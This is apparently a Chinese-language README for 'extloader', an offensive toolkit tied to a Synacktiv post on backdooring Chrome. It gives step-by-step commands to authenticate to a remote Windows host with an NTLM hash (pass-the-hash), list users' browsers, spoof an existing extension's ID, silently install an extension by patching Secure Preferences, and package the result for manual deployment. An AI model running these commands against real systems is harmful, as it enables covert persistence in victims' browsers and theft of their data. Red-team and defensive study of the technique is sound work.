一个用于管理和部署未打包 Chromium 扩展的小型工具包。
更多信息请参阅以下博客文章:https://www.synacktiv.com/en/publications/the-phantom-extension-backdooring-chrome-through-uncharted-pathways
pipx install .
extloader --help
使用
pipx进行面向 Python 3.10+ 的隔离安装。
uv venv
source .venv/bin/activate
uv pip install -e .
-p/--password-H/--hash(LM:NT 格式或仅 NT)-d/--domain(默认为 WORKGROUP)-t, --target:目标 IP/主机名-u, --username:用户名-i, --index:来自 check 命令的用户索引--debug:启用调试日志以下是一个部署扩展的分步示例:
# This will list available users and browsers
extloader check -t 192.168.1.100 -u admin -H aad3b435b51404eeaad3b435b51404ee:ntlm_hash -d corp.local
┏━━━━━━━━┳━━━━━━━━━━━━━━━━━┳━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━┓
┃ Index ┃ Browser ┃ User (SID) ┃
┡━━━━━━━━╇━━━━━━━━━━━━━━━━━╇━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━┩
│ 1 │ Chrome │ john.doe (S-1-5-21-4196007090-2879228606-3183820935-1122) │
│ 2 │ Microsoft Edge │ john.doe (S-1-5-21-4196007090-2879228606-3183820935-1122) │
└────────┴─────────────────┴──────────────────────────────────────────────────────────────┘
在另一台机器上运行 exploit 时,务必先运行
check命令以刷新上下文(available_targets.json)。
# Create a deterministic crx_id by adding a key to the manifest.json
extloader sign --extension ./my-extension
若要伪造现有扩展 ID,请跳过上述命令,并将 manifest
key设置为你所模仿扩展的 base64 公钥。复用该 密钥可保持 CRX ID 不变。
# Deploy to user index 1 (Chrome of john.doe)
extloader exploit -t 192.168.1.100 -u admin -H ntlm_hash -i 1 --extension ./my-extension
4.(备选)打包以手动部署:
# Bundle the signed extension with the captured Preferences file
extloader package --prefs-file "Preferences" --extension-dir ./my-extension --target-dir "C:\\Users\\Public"
# This creates a ZIP containing:
# - Signed extension files
# - Updated preferences files
# - Deployment instructions
--prefs-file需要你备份的浏览器配置文件偏好(Chrome/Edge 将其存储为Secure Preferences,其他 Chromium 浏览器使用Preferences)。加载器会复制并修补该文件,然后将修改版和未修改版都包含在包中。
├── extension/
│ └── chrome-mv3/
├── preferences/
│ ├── brave/
│ ├── chrome/
│ ├── chromium/
[...]
└── info.json
# Restore original preferences for user index 1 (need check command to get the correct context)
extloader restore -t 192.168.1.100 -u admin -H ntlm_hash -i 1 -f ./backup_preferences
package 工作流适配到 Linuxpackage 工作流适配到 macOS